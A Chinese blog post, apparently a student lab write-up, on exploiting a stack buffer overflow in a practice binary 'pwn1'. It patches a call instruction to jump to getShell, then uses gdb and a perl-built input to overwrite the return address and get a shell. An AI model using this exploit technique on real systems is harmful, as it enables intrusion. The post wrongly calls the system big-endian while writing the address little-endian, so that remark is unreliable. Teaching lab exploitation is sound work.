标签:脚本语言 自己 输入 gdb 使用 justify objdump 构造 不难
熟悉Linux基本操作,能看懂常用指令,如管道(|),输入、输出重定向(>)等。
理解Bof的原理。
能看得懂汇编、机器指令、EIP、指令地址。
会使用gdb,vi。
具体的指令可以回到指导中查。
objdump -d pwn1 | more
最基本的思路就是修改跳转地址,让main函数不再调用foo函数,转而调用getshell函数。观察如下代码:
root@KaliYL:~# objdump -d pwn1 | more
0804847d <getShell>:
804847d: 55 push %ebp
...
08048491 <foo>:
8048491: 55 push %ebp
...
080484af <main>:
...
80484b5: e8 d7 ff ff ff call 8048491 <foo>
80484ba: b8 00 00 00 00 mov $0x0,%eax
...
call机器码 = 跳转地址 - 正常流程的下一个EIP
e8 c3 ff ff ff
此处对pwn1进行了备份,我们将对备份文件pwn2进行操作。
vi pwn2
,用vim编辑器查看可执行文件pwn2,可以看到如下乱七八糟的车祸场景。
%! xxd
,键入前述指令查看其16进制表示,看起来就工整多了。
/e8 d7
,查询需要改动的机器码的位置,锁定后,按i
进入文本编辑模式,将其改为e8 c3
---->
%! xxd -r
,退出16进制模式(注意:此处如果直接以16进制形式保存退出,运行该文件会报错):wq!
,保存并退出。
./pwn2
,结果如下:
接下来就来亲自体验一把溢出的感觉吧(先备份成pwn3)
Segmentation fault
。
gdb pwn3
,进入调试,并输入一串可让其溢出的字符:
info r
,查看溢出时寄存器状态如下:
0x0804847d
,而其对应的ASCII没有字符,所以我们通过一个简单的perl脚本语言来构造输入值。
perl -e ‘print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"‘ > input
注意:kali系统采用的是大端法,所以构造内存地址时注意顺序,末尾的\0a
表示回车换行。
(cat input; cat) | ./pwn3
,将input文件作为输入,结果如下:
标签:脚本语言 自己 输入 gdb 使用 justify objdump 构造 不难
原文地址:http://www.cnblogs.com/cathy-h/p/6527050.html